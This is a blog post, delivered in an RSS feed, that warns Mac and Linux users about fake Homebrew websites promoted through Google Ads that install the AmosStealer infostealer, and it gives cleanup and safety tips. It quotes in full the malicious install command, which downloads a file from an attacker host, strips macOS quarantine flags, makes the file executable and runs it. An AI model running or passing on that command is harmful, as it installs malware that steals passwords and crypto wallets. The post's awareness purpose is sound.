<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dinesh kumar on Medium]]></title>
        <description><![CDATA[Stories by Dinesh kumar on Medium]]></description>
        <link>https://medium.com/@dinikv?source=rss-f4d87d334080------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jtzWuOmsMXBnMhJbyJc03w.jpeg</url>
            <title>Stories by Dinesh kumar on Medium</title>
            <link>https://medium.com/@dinikv?source=rss-f4d87d334080------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:58:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dinikv/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Watch Out for Fake Homebrew Websites: Hackers Are Targeting Mac and Linux Users!]]></title>
            <link>https://dinikv.medium.com/watch-out-for-fake-homebrew-websites-hackers-are-targeting-mac-and-linux-users-74996f99b3e7?source=rss-f4d87d334080------2</link>
            <guid isPermaLink="false">https://medium.com/p/74996f99b3e7</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[google-ads]]></category>
            <category><![CDATA[homebrew]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Dinesh kumar]]></dc:creator>
            <pubDate>Thu, 23 Jan 2025 22:56:42 GMT</pubDate>
            <atom:updated>2025-01-23T22:56:42.739Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Homebrew Malware Alert" src="https://cdn-images-1.medium.com/max/1024/1*3R687zMTKhtTRGfUiGS93Q.png" /></figure><p>If you’re someone who uses <strong>Homebrew</strong> on your Mac or Linux system, there’s a new trick — hackers are using to fool people into installing malware. Here’s what you need to know to stay safe and how to fix it if you have installed it accidentally.</p><h4>What Happened?</h4><p>Hackers are disguising fake websites like “brewe.sh” to look like the official Homebrew site (brew.sh). They’re also using <strong>Google Ads</strong> to push these fake sites to the top of search results, making it easy for people to accidentally click the wrong link. Once you download from the fake site, you’re installing a malware called <strong>AmosStealer</strong> that targets your sensitive info like passwords, browser data, and even cryptocurrency wallets.</p><figure><img alt="homebrew google search result with google ads" src="https://cdn-images-1.medium.com/max/1024/1*22AWlHZ4gWSS0HlFXjtSPA.png" /></figure><p>You might wonder both the link looks alike, For a deeper dive into how scammers use Google Ads to spread malware, check out this informative blog post that breaks down the tactics and techniques used in these types of attacks.</p><h4>The great Google Ads heist — <a href="https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads">Click here to read</a></h4><h3>Legit vs. Fake Command</h3><p>If you’ve ever installed Homebrew, you might recognize this command:</p><h4>Official Homebrew Installation Command:</h4><pre>/bin/bash -c &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/<br>HEAD/install.sh)&quot;</pre><p>This command downloads and runs Homebrew’s installer safely from its official GitHub repository. Simple and safe!</p><h4>Malicious Command:</h4><p>But here’s the <strong>fake</strong> one you need to watch out for:</p><pre>curl -o /tmp/update https://norikosumiya.com/brew/update &amp;&amp; xattr -c <br>/tmp/update &amp;&amp; chmod +x /tmp/update &amp;&amp; /tmp/update &amp;&amp; /bin/bash -c <br>&quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&quot;</pre><h3>What’s the Difference?</h3><p>Let’s break it down:</p><ul><li><strong>curl -o /tmp/update</strong>: This downloads a file from a <strong>malicious website</strong> and saves it to your system.</li><li><strong>xattr -c /tmp/update</strong>: It clears any warnings or flags that the system might show you about this file being unsafe.</li><li><strong>chmod +x /tmp/update</strong>: Makes the file executable (so it can run).</li><li><strong>/tmp/update</strong>: The <strong>malware</strong> is now running on your system, possibly stealing sensitive info.</li></ul><p>After that, it runs the <strong>real Homebrew installer</strong>, so you might not even notice anything wrong. Sneaky, right?</p><h3>How to Fix It If You Installed the Wrong One</h3><h4>1. Delete the Suspicious File</h4><p>Open your terminal and run:</p><pre>rm /tmp/update</pre><p>This will remove the malware file from your system.</p><h4>2. Run a Security Scan</h4><p>Use antivirus software to scan your system for any other malware or suspicious files. (Optional)</p><h4>3. Change Your Passwords</h4><p>Since the malware might have stolen sensitive info, it’s a good idea to change your passwords, especially for any accounts you’ve accessed recently.</p><h4>4. Check Your Crypto Wallet</h4><p>If you use cryptocurrency, double-check your wallets to make sure everything is still safe. Move your funds to a new wallet if necessary.</p><h3>How to Stay Safe in the Future</h3><ol><li><strong>Verify the URL</strong>: Always double-check you’re visiting the correct Homebrew website, which is <a href="https://brew.sh./">https://brew.sh.</a> Bookmark it so you don’t accidentally end up on a fake site.</li><li><strong>Avoid Clicking on Ads</strong>: Google Ads can sometimes be tricky. Scroll past the ads and click the official link to the website.</li><li><strong>Use Antivirus Software</strong>: Keep antivirus software running on your system to protect against any new threats.</li></ol><h3>Final Thoughts</h3><p>Cyberattacks like this are getting more common, but a little caution goes a long way in staying safe. Always check URLs, avoid clicking on ads, and if you accidentally run a malicious command, don’t panic — just follow the steps to clean your system.</p><blockquote>Remember: better safe than sorry! Stay alert, and happy brewing!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74996f99b3e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>